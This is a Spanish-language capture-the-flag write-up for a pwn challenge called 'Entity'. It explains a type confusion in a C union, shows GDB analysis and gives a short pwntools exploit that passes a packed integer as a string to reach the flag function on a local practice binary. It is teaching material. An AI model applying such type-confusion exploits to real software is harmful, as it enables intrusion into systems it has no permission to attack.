Entity
Table of contents
Tenemos un binario donde explotaremos la vulnerabilidad Type Confusion para utilizar incorrectamente un valor de un tipo como si fuera otro tipo.
Analisis
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Main
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
bzero(&DataStore, sizeof(DataStore));
printf("\nSomething strange is coming out of the TV..\n");
while (1) {
menu_t result = menu();
switch (result.act) {
case STORE_SET:
set_field(result.field);
break;
case STORE_GET:
get_field(result.field);
break;
case FLAG:
get_flag();
break;
}
}
}
En el main, tenemos un switch case
con 3 opciones, donde dependiendo de lo que este en la funcion menu
, es lo que va a hacer
Menu
menu_t menu() {
menu_t res = { 0 };
char buf[32] = { 0 };
printf("\n(T)ry to turn it off\n(R)un\n(C)ry\n\n>> ");
fgets(buf, sizeof(buf), stdin);
buf[strcspn(buf, "\n")] = 0;
switch (buf[0]) {
case 'T':
res.act = STORE_SET;
break;
case 'R':
res.act = STORE_GET;
break;
case 'C':
res.act = FLAG;
return res;
default:
puts("\nWhat's this nonsense?!");
exit(-1);
}
Nos damos cuenta que en la opcion C
corresponde al case FLAG
de la funcion main:
case FLAG:
get_flag();
break;
Donde se manda a llamar a la funcion get_flag()
:
void get_flag() {
if (DataStore.integer == 13371337) {
system("cat flag.txt");
exit(0);
} else {
puts("\nSorry, this will not work!");
}
}
Donde para mostrar la flag, tenemos que hacer que DataStore.integer
sea igual a 13371337
, sin embargo, hay una funcion que nos lo impide:
void set_field(field_t f) {
char buf[32] = {0};
printf("\nMaybe try a ritual?\n\n>> ");
fgets(buf, sizeof(buf), stdin);
switch (f) {
case INTEGER:
sscanf(buf, "%llu", &DataStore.integer);
if (DataStore.integer == 13371337) {
puts("\nWhat's this nonsense?!");
exit(-1);
}
break;
case STRING:
memcpy(DataStore.string, buf, sizeof(DataStore.string));
break;
}
}
Donde esta validando si DataStore.integer
es igual a 13371337
que imoprima en pantalla el mensaje puts("\nWhat's this nonsense?!");
y sale del programa
Codigo vulnerable
Cada vez que se esta usando DataStore.integer
se hace referencia a esta estructura:
static union {
unsigned long long integer;
char string[8];
} DataStore;
En C, la estructura union
puede almacenar varios tipos de datos en la misma direccion de memoria. Por ejemplo, en este caso, integer
es una variable que ocupa 8 bytes en la memoria, la cual almacena un valor entero de 64 bits, y string
es otra variable la cual es una arreglo de caracteres que igual ocupa 8 bytes en la memoria (cada letra es un byte), y nosotros podemos acceder a esas variables a travez de DataStorage
dependiendo de como queremos interpretar los datos dentro de union
, y union
se encargara de ponerlas en la misma direccion de memoria, idependientemente del tipo de dato.
Y de toda esta explicacion viene la vulnerabilidad Type confusion
o confusion de tipos, en la cual basicamente es un tipo de vulnerabilidad que ocurre cuando un programa utiliza incorrectamente un valor de un tipo como si fuera otro tipo. Y para este ejercicio podemos utilizar incorrectamente del valor de la variable string
como si fuera el de la variable integer
Problema
Al intentar pasarle el numero 13371337
como string, indicandole la opcion S
como lo indica el case S
:
case 'S':
res.field = STRING;
break;
El programa no muestra la flag:
Y es por esta comprobacion:
case STRING:
memcpy(DataStore.string, buf, sizeof(DataStore.string));
break;
Sin embargo se supone que esta todo “bien”, asi que para ver que se esta comparando realmente en DataStore.integer == 13371337
Analisis con GDB
En un gdb metere un breakpoint en la intruccion donde se realiza la comparacion:
0x0000000000001412 <+11>: cmp rax,0xcc07c9
Primero que nada, lo que esta haciendo cmp rax,0xcc07c9
es comparar DataStorage
que se guarda en rax
, con 0xcc07c9
que es el numero 13371337
. Cuando ejecute el programa yo le indique que se guardara como string.
Al ver el valor de rax
:
Nos podemos dar cuenta que lo que se guarda en DataStorage
es un decimal: 0x3733333137333331
, entonces para explotar esta confusion de tipos, podemos mandarle el numero 13371337 como string de bytes en little endian, por que ya no se estaria comprobando en la funcion set_field
, osea asi:
b'\xc9\x07\xcc\x00\x00\x00\x00\x00'
Exploit
Y con todo lo anterior, el exploit queda asi:
from pwn import *
p = process("./entity")
p.sendline("T")
p.sendline("S")
p.sendline(p64(13371337))
p.sendline("C")
p.interactive()
Y ya tenemos la flag:
Eso ha sido todo, gracias por leer ❤